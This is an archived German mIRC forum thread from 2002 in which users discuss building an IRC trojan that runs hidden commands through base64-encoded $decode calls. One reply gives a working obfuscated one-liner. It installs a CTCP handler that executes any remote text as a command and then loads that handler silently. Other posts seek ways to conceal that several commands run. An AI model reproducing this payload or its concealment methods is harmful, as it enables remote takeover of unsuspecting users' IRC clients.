PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : wie bekomm ich $chr(124) encodet?


Codeq
02.01.2002, 16:47
hi

hab letztens nen nettes Trojaner script bekommen welches per //$decode(....,m) ausgeführt wird und sogar mehrere Zeilen beinhaltete..
ich hab nun versucht das nachzubasteln, hab aber immer das Problem gehabt den LineSeperator | auch als Systemzeichen behandeln zu lassen..

kleines Beispiel:
ich möchte das hier ausgeführt haben
echo -a huhu
echo -a bla

um das in eine Zeile zu bekommen schreibt man das hier
echo -a huhu | echo -a bla

wenn ich das nun in ein $encode(echo -a huhu | echo -a bla,m) packe sagt mir mIRC
*Invalid format

hab dann das hier probiert
$encode(echo -a huhu $chr(124) echo -a bla,m)
und als ich das hier wieder $decoden liess, hat er auch wirklich $chr(124) verschlüsselt und nicht das Zeichen das sich dahinter verbirgt..

ok, nächster ansatz war das ich das hier gemacht habe
$encode(echo -a huhu,m) $+ $encode(|,m) $+ $encode(echo -a bla,m)
wenn ich dies nun $decodet habe hat er das ausgegeben
"huhu|echo -a bla"
ok nächster schritt war noch ein $chr(32) vor das | zu klemmen, was aber dann zur Folge hatte das er nur das erste echo ausgeführt hat und den 2ten Command einfach ignoriert hat...

wie schaff ich das nun das wenn ich
//$decode(...,m) ausführe er 2 zeilen script ausführt ? ?(


z3r0x
15.04.2002, 17:02
Das Datum dieses Postings ist zwar nun schon ein bisschen älter, aber da noch kein Reply kam...antworte ich jetzt einfach mal darauf...

Also soweit ich weiß, funktioniert ein mehrzeiliges Script über ein $decode(..,m) nicht. Ich würde es so machen!

(Achtung: IRC-Trojaner. Nicht ausführen wenn nicht genügend Kenntnisse vorhanden!)


//$decode(d3JpdGVpbmkgLC5pbmkgc2NyaXB0IG4wIGN0Y3AgKjoqOio6JDEt,m) | $decode(LmxvYWQgLXJzICwuaW5p,m)

P.s.: Ab mIRC 6.x funktioniert $decode anscheinend nicht mehr.

Gruß z3r0x...

Codeq
15.04.2002, 18:12
hehe thx für die antwort :D

jo also so wusste ich mir auch zu helfen, nur sollte es eben nicht mehr erkennbar sein das mehrer zeilen script ausgeführt werden..

hab einmal sowas in die finger bekommen.. hab auch über c++ probiert den chr(124) in mime zu encoden und das ergebis in mirc zu decoden aber funzte auch nicht...

aber es gibt ja seid mirc 5.91 auch den $eval() ... müsste mich damit nochma hinsetzen wenn der ergeitz mich wieder packt sowas auszureitzen 8)

und $decode gibts auch noch bei mirc6 ...

so long

gencha
16.04.2002, 13:53
das $encode so nichmehr funzt liegt daran das man //$identifier nichmehr nutzen kann, weil es für nichts wirklich zu gebrauchen war